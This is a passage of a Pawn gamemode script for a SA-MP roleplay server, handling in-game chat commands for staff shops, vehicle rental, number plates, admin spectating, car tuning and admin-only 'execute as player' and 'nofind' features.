			format(shop,sizeof(shop),"{33AA33}LS\t\n{FF0000}SF\t\n{FF0000}LV\t\n{33AA33}Mark\t\n{33AA33}AirPort LS\t\n{33AA33}CNN\t\n{33AA33}Gun Shop LS\t\n{33AA33}Civilian Spawn\t\n{33AA33}Chilliand\t\n{33AA33}Bank\t\n{33AA33}DS\t\n{33AA33}Temple\t\n{33AA33}Church\t\n{33AA33}Factions HQ\t\n{33AA33}Back");
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] >= 3)
				{
			format(shop,sizeof(shop),"{33AA33}LS\t\n{33AA33}SF\t\n{33AA33}LV\t\n{33AA33}Mark\t\n{33AA33}AirPort LS\t\n{33AA33}CNN\t\n{33AA33}Gun Shop LS\t\n{33AA33}Civilian Spawn\t\n{33AA33}Event\t\n{33AA33}Chilliand\t\n{33AA33}Bank\t\n{33AA33}DS\t\n{33AA33}Temple\t\n{33AA33}Church\t\n{33AA33}Factions HQ\t\n{33AA33}Back");
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
			return 1;
		}







	   if(!strcmp(cmd, "/StaffShop", true))
		{
			 if(!IsStaff(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You are not part of Staff Team.");
			 if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new shop[1024];
				format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{FFFFFF}Leader Features \t\n{FFFFFF}Helper Features \t\n{FFFFFF}Admin Features");
				new title[256];
				format(title, sizeof(title), "StaffShop - Staff Points: %d", PINFO[playerid][pSPoint]);
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pHelper] == 0 && PINFO[playerid][pLeader] == 0)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{FF0000}Leader Features \t\n{FF0000}Helper Features \t\n{00FF00}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pLeader] == 0)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{FF0000}Leader Features \t\n{00FF00}Helper Features \t\n{00FF00}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pLeader] >= 1)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{00FF00}Leader Features \t\n{00FF00}Helper Features \t\n{00FF00}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pLeader] == 0)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{FF0000}Leader Features \t\n{00FF00}Helper Features \t\n{FF0000}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pLeader] >= 1)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{00FF00}Leader Features \t\n{00FF00}Helper Features \t\n{FF0000}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] == 0 && PINFO[playerid][pLeader] >= 1)
				{
			format(shop,sizeof(shop),"{FFFF00}Buy Points \t\n{00FF00}Leader Features \t\n{FF0000}Helper Features \t\n{FF0000}Admin Features");
				ShowPlayerDialog(playerid,1020,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}


			return 1;
		}
/*
		if(!strcmp(cmd, "/removecr", true))
		{
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You must be driver of this vehicle.");
			if(CarRadio[GetPlayerVehicleID(playerid)][0] == '\0') return SCM(playerid, COLOR_SINA3, "There isn't any played radio on your vehicle.");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid)) {StopAudioStreamForPlayer(i); CarRadioPlayed[i] = false;}
				CarRadio[GetPlayerVehicleID(playerid)][0] = '\0';
			}
			return 1;
		}
		*/
		if(!strcmp(cmd, "/rentvehicle", true))
		{
			if(RentedVehicle[playerid] != INVALID_VEHICLE_ID) return SCM(playerid, COLOR_SINA3, "You already rented a vehicle, /unrentvehicle first.");
			if(OnRentMashinMessage[playerid] == false || !IsPlayerInAnyVehicle(playerid) || IsPlayerConnected(MashinRenter[GetPlayerVehicleID(playerid)])) return SCM(playerid, COLOR_SINA3, "You are not in a rentable vehicle.");
			new newcar = GetPlayerVehicleID(playerid);
			if(((newcar >= 117 && newcar <= 124) || (newcar >= 140 && newcar <= 147) || (newcar >= 102 && newcar <= 110) || (newcar >= 164 && newcar <= 169)) && newcar != 103 && newcar != 105)
			{
				RentedVehicle[playerid] = newcar;
				MashinRenter[newcar] = playerid;
				TogglePlayerControllable(playerid, 1);
				OnRentMashinMessage[playerid] = false;
				if(newcar >= 117 && newcar <= 124) {GivePlayerPool(playerid, -SBizzInfo[5][sbEntranceCost]); SBizzInfo[5][sbTill] += SBizzInfo[5][sbEntranceCost];}
				if(newcar >= 140 && newcar <= 147) {GivePlayerPool(playerid, -SBizzInfo[1][sbEntranceCost]); SBizzInfo[1][sbTill] += SBizzInfo[1][sbEntranceCost];}
				if(newcar >= 102 && newcar <= 110) {GivePlayerPool(playerid, -SBizzInfo[0][sbEntranceCost]); SBizzInfo[0][sbTill] += SBizzInfo[0][sbEntranceCost];}
				if(newcar >= 164 && newcar <= 169) {GivePlayerPool(playerid, -SBizzInfo[2][sbEntranceCost]); SBizzInfo[2][sbTill] += SBizzInfo[2][sbEntranceCost];}
				PlayerPlaySound(playerid, 1052, 0, 0, 0);
				return SCM(playerid, COLOR_GREEN, "You can now lock/unlock your vehicle with /lock or use /unrentvehicle.");
			}
			else return SCM(playerid, COLOR_SINA3, "You are not in a rentable vehicle.");
		}
		/*if(!strcmp(cmd,"/sponw50",true))
		{
			tmp = strtok(cmdtext,idx);
			new soundd = strval(tmp);
			for(new i = 0;i<MAX_PLAYERS;i++)
			{
				if(IsPlayerConnected(i))
				{
					PlayerPlaySound(i, soundd, 0, 0, 0);
				}
			}
		}
		if(!strcmp(cmd,"/byejh",true))
		{
			Raft[playerid] = 0;
			return 1;
		}

		if(!strcmp(cmd, "/objonw1", true))
		{
			tmp = strtok(cmdtext,idx);
			new numdd = strval(tmp);
			new Float:ui[3];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			new objD1;
			objD1 = CreateDynamicObject(numdd, ui[0], ui[1], ui[2]+5, 0, 0, 0);
		}
		if(!strcmp(cmd, "/pre1dxz", true))
		{
				new string[256];
				new d,m,y;
				getdate(y,m,d);
				format(string,sizeof(string), "%s%d/%s%d/%s%d",(d < 10) ? ("0") : (""),d,(m < 10) ? ("0") : (""),m,(y < 10) ? ("0") : (""),y);
				strmid(PlayerInfo[playerid][pPExpire], string, 0, strlen(string), 255);
				SaveKonStr(playerid, "pPExpire", string);
				PINFO[playerid][pPDay] = 7;
				SaveKonVal(playerid, "pPDay", 7);
		}
		if(!strcmp(cmd, "/objonw22", true))
		{
			tmp = strtok(cmdtext,idx);
			new numdd = strval(tmp);
			new Float:ui[3];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			new objD2;
			objD2 = CreateDynamicObject(numdd, ui[0], ui[1], ui[2], 0, 0, 0);
		}
		if(!strcmp(cmd, "/objonw33", true))
		{
			tmp = strtok(cmdtext,idx);
			new numdd = strval(tmp);
			new Float:ui[3];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			objDD[playerid] = CreateDynamicObject(numdd, ui[0], ui[1], ui[2]-0.6, 0, 0, 0);
		}*/
	   if(!strcmp(cmd, "/carplate", true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(PTP(5.0, playerid, -1429.179931, -958.492492, 201.128356))
			{
		     if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in any vehicle.");
             if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_YELLOW2,"Error: You should sit in vehicle as a driver.");
		     if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
		     ShowPlayerDialog(playerid,7916,DIALOG_STYLE_INPUT,"Colored Plate","Enter the plate you want set with hex color\ne.g: (FF0000)Plate\n{FF0000}NOTE: YOU SHOULD WRITE HEX COLOR START WITH { AND END WITH } LIKE ABOVE LINE\n{FF0000}REPLACE ( WITH { AND ) WITH }","Done","Close");
		     return 1;
			}
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /carplate <PlateText>");
			if(strlen(tmp) > 10 || strlen(tmp) < 3 || FindBadSign(tmp)) {SCM(playerid, COL_SYN, "Invalid character"); return SCM(playerid,COL_SYN,"Or the Length of the PlateText must be higher than 3 and lower than 11.");}
            if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_YELLOW2,"Error: Sit on your vehicle as a driver.");
            if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_1] && GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_2]) return SCM(playerid,COLOR_YELLOW2,"Error: Sit on your vehicle.");
            if(FindBadSign(tmp)) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid carplate.");
		   new v;
		   if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_1])
			{
				v = PINFO[playerid][pVeh1];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			 if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_2])
			{
				v = PINFO[playerid][pVeh2];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			 if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_3])
			{
				v = PINFO[playerid][pVeh3];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			 if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_4])
			{
				v = PINFO[playerid][pVeh4];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			 if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_5])
			{
				v = PINFO[playerid][pVeh5];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			 if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_6])
			{
				v = PINFO[playerid][pVeh6];
				if(GetPlayerPool(playerid) >= 100)
				{
					new Float:x,Float:y,Float:z,Float:ang;
					SetVehicleNumberPlate(GetPlayerVehicleID(playerid), tmp);
					GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					GetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
					SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
					SetVehicleZAngle(GetPlayerVehicleID(playerid),ang);
					strmid(vInfo[v][cPlate], tmp, 0, strlen(tmp), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					GivePlayerPool(playerid, -100);
					GameTextForPlayer(playerid, "~w~Number plate has placed~n~~r~-$100", 4000, 3);
					//SaveAccount(playerid);
				}
				else
				{
					SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					return 1;
				}
			}
			return 1;
		}
/*
		if(!strcmp(cmd, "/resball", true))
		{
		if(PlayerInfo[playerid][pAdmin] == 0)return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		DestroyDynamicObject(Ball);
		Ball = CreateDynamicObject(2114, 2782.3027,-2019.0826,13.5547-0.8, 0, 0, 96);

		return 1;
		}
		*/
		if(strcmp(cmd, "/specoff", true) == 0 || strcmp(cmd, "/so", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1){
			if(Specing[playerid] >= 1)
			{
			new stringz[256];
			format(stringz,sizeof(stringz),"[Admin-Warn]: {FFFFFF}Admin %s has stopped specing.",PINFO[playerid][pName]);
			SendHAdminMessage(COLOR_AdminWarn, stringz);
			StopSpec(playerid);
			return 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"You are not on specing.");
			return 1;
			}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
		}
		if(!strcmp(cmd,"/atuning",true))
		{
			if(PINFO[playerid][pAdmin] < 8 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"Error: You are not in any vehicle.");
			new veh = GetPlayerVehicleID(playerid);

			if(OwnedMashin[veh] == 1 && OwnedMashin_2[veh] != 1)
				{
				PINFO[MashinOwner[veh]][cMod1] = 1032;
				PINFO[MashinOwner[veh]][cMod3] = 1026;
				PINFO[MashinOwner[veh]][cMod4] = 1027;
				PINFO[MashinOwner[veh]][cMod5] = 1028;
				PINFO[MashinOwner[veh]][cMod6] = 1141;
				PINFO[MashinOwner[veh]][cMod7] = 1038;
				PINFO[MashinOwner[veh]][cMod8] = 1069;
				PINFO[MashinOwner[veh]][cMod9] = 0;
				PINFO[MashinOwner[veh]][cMod10] = 0;
				PINFO[MashinOwner[veh]][cMod11] = 0;
				PINFO[MashinOwner[veh]][cMod12] = 0;
				PINFO[MashinOwner[veh]][cMod13] = 0;
				PINFO[MashinOwner[veh]][cMod14] = 0;
				PINFO[MashinOwner[veh]][cMod15] = 0;
				PINFO[MashinOwner[veh]][cMod16] = 0;
				PINFO[MashinOwner[veh]][cMod17] = 0;

				SaveKonVal(MashinOwner[veh], "cMod1", PINFO[MashinOwner[veh]][cMod1]);
				SaveKonVal(MashinOwner[veh], "cMod3", PINFO[MashinOwner[veh]][cMod3]);
				SaveKonVal(MashinOwner[veh], "cMod4", PINFO[MashinOwner[veh]][cMod4]);
				SaveKonVal(MashinOwner[veh], "cMod5", PINFO[MashinOwner[veh]][cMod5]);
				SaveKonVal(MashinOwner[veh], "cMod6", PINFO[MashinOwner[veh]][cMod6]);
				SaveKonVal(MashinOwner[veh], "cMod7", PINFO[MashinOwner[veh]][cMod7]);
				SaveKonVal(MashinOwner[veh], "cMod8", PINFO[MashinOwner[veh]][cMod8]);
				SaveKonVal(MashinOwner[veh], "cMod9", PINFO[MashinOwner[veh]][cMod9]);
				SaveKonVal(MashinOwner[veh], "cMod10", PINFO[MashinOwner[veh]][cMod10]);
				SaveKonVal(MashinOwner[veh], "cMod11", PINFO[MashinOwner[veh]][cMod11]);
				SaveKonVal(MashinOwner[veh], "cMod12", PINFO[MashinOwner[veh]][cMod12]);
				SaveKonVal(MashinOwner[veh], "cMod13", PINFO[MashinOwner[veh]][cMod13]);
				SaveKonVal(MashinOwner[veh], "cMod14", PINFO[MashinOwner[veh]][cMod14]);
				SaveKonVal(MashinOwner[veh], "cMod15", PINFO[MashinOwner[veh]][cMod15]);
				SaveKonVal(MashinOwner[veh], "cMod16", PINFO[MashinOwner[veh]][cMod16]);
				SaveKonVal(MashinOwner[veh], "cMod17", PINFO[MashinOwner[veh]][cMod17]);
				AddVehicleComponent(veh, 1032);
				AddVehicleComponent(veh, 1026);
				AddVehicleComponent(veh, 1027);
				AddVehicleComponent(veh, 1028);
				AddVehicleComponent(veh, 1141);
				AddVehicleComponent(veh, 1038);
				AddVehicleComponent(veh, 1069);
				SCM(playerid,COLOR_GG,"Tunings added to a personalcar 1.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new string[1024];
			 format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s used ATuning to %s personalcar 1.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
				ABroadCast(COLOR_AdminWarn,string,1);
				}
				else if(OwnedMashin[veh] != 1 && OwnedMashin_2[veh] == 1)
				{
				PINFO[MashinOwner_2[veh]][cMod1_2] = 1032;
				PINFO[MashinOwner_2[veh]][cMod3_2] = 1026;
				PINFO[MashinOwner_2[veh]][cMod4_2] = 1027;
				PINFO[MashinOwner_2[veh]][cMod5_2] = 1028;
				PINFO[MashinOwner_2[veh]][cMod6_2] = 1141;
				PINFO[MashinOwner_2[veh]][cMod7_2] = 1038;
				PINFO[MashinOwner_2[veh]][cMod8_2] = 1069;
				PINFO[MashinOwner_2[veh]][cMod9_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod10_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod11_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod12_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod13_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod14_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod15_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod16_2] = 0;
				PINFO[MashinOwner_2[veh]][cMod17_2] = 0;

				SaveKonVal(MashinOwner_2[veh], "cMod1_2", PINFO[MashinOwner_2[veh]][cMod1_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod3_2", PINFO[MashinOwner_2[veh]][cMod3_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod4_2", PINFO[MashinOwner_2[veh]][cMod4_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod5_2", PINFO[MashinOwner_2[veh]][cMod5_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod6_2", PINFO[MashinOwner_2[veh]][cMod6_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod7_2", PINFO[MashinOwner_2[veh]][cMod7_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod8_2", PINFO[MashinOwner_2[veh]][cMod8_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod9_2", PINFO[MashinOwner_2[veh]][cMod9_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod10_2", PINFO[MashinOwner_2[veh]][cMod10_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod11_2", PINFO[MashinOwner_2[veh]][cMod11_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod12_2", PINFO[MashinOwner_2[veh]][cMod12_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod13_2", PINFO[MashinOwner_2[veh]][cMod13_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod14_2", PINFO[MashinOwner_2[veh]][cMod14_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod15_2", PINFO[MashinOwner_2[veh]][cMod15_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod16_2", PINFO[MashinOwner_2[veh]][cMod16_2]);
				SaveKonVal(MashinOwner_2[veh], "cMod17_2", PINFO[MashinOwner_2[veh]][cMod17_2]);
				AddVehicleComponent(veh, 1032);
				AddVehicleComponent(veh, 1026);
				AddVehicleComponent(veh, 1027);
				AddVehicleComponent(veh, 1028);
				AddVehicleComponent(veh, 1141);
				AddVehicleComponent(veh, 1038);
				AddVehicleComponent(veh, 1069);
				SCM(playerid,COLOR_GG,"Tunings added to a personalcar 2.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new string[1024];
			 format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s used ATuning to %s personalcar 2.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
				ABroadCast(COLOR_AdminWarn,string,1);
				}
				else if(OwnedMashin[veh] != 1 && OwnedMashin_2[veh] != 1)
				{
				AddVehicleComponent(veh, 1032);
				AddVehicleComponent(veh, 1026);
				AddVehicleComponent(veh, 1027);
				AddVehicleComponent(veh, 1028);
				AddVehicleComponent(veh, 1141);
				AddVehicleComponent(veh, 1038);
				AddVehicleComponent(veh, 1069);
				SCM(playerid,COLOR_GG,"Tunings added to a normal car.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new string[1024];
			 format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s used ATuning to %s normal vehicle.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
				ABroadCast(COLOR_AdminWarn,string,1);
				}
				return 1;
		}
		if(!strcmp(cmd, "/dfind", true))
		{
			if(PlayerInfo[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(Defind[playerid] == 0)
			{
				Defind[playerid] = 1;
				SCM(playerid,COLOR_MAMAD,"DFind: {00FF00}Enabled.");
				new sttrr[118];
				format(sttrr,256,"{FFFFFF}Admin %s enabled the dfind system for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
		   //AdminWarn(sttrr);
			}
			else if(Defind[playerid] == 1)
			{
			Defind[playerid] = 0;
			SCM(playerid,COLOR_MAMAD,"DFind: {FF0000}Disabled.");
			new sttrr[118];
		   format(sttrr,256,"{FFFFFF}Admin %s disabled the dfind system for %sself.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
			//AdminWarn(sttrr);

			}
		return 1;
		}
		if(strcmp(cmd, "/execute", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			//if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot fake command an admin higher than you.");
			tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /execute <Playerid/PartOfName> <Command>");
					return 1;
				}
							giveplayerid = ReturnUser6(tmp);
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[144];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /execute <Playerid/PartOfName> <Command>");
								return 1;
							}

				if(IsPlayerConnected(giveplayerid))
				{
				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				new call[512];
				format(call, 512, "%s", (result));
				OnPlayerCommandText(giveplayerid, call);

				new stramir[512];
				format(stramir, 512, "[Admin-Warn]: {FFFFFF}Admin %s used fake command on %s.", sendername, giveplayer);
				//ABroadCast(COLOR_AdminWarn,stramir,9);
				}
				else {
				SCM(playerid, COLOR_GRAD2, "That player is not connected.");
				return 1;
				}
		return 1;
		}
		if(!strcmp(cmd, "/nofind", true))
		{
			if(PlayerInfo[playerid][pAdmin] < 9 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	        tmp = strtok(cmdtext, idx);
		    if(!strlen(tmp))
	        {
		      SendMessage(playerid, COL_SYN, "Syntax: /nofind <Playerid/PartOfName>");
		      return 1;
		    }
		    new tarafe;
		    tarafe = ReturnUser6(tmp);
		    if(PINFO[playerid][pAdmin] < PINFO[tarafe][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		    if(PINFO[playerid][pAdmin] == 9 && tarafe != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on this syntax.");
		    if(PINFO[playerid][pSponser] == 1 && tarafe != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on this syntax.");
			if(nfind[tarafe] == 0)
			{
				nfind[tarafe] = 1;
				SCM(tarafe,COLOR_SINA2,"NoFind: {00FF00}Enabled.");
				new sttrr[118];
				format(sttrr,256,"{FFFFFF}Admin %s enabled the nofind for %s", PINFO[playerid][pName], PINFO[tarafe][pName]);
				AdminWarn(sttrr);
			}
			else if(nfind[tarafe] == 1)
			{
			nfind[tarafe] = 0;
			SCM(tarafe,COLOR_SINA2,"NoFind: {FF0000}Disabled.");
